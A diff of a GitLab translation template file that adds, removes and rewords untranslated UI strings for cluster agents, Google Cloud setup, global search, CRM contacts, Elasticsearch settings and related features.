@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
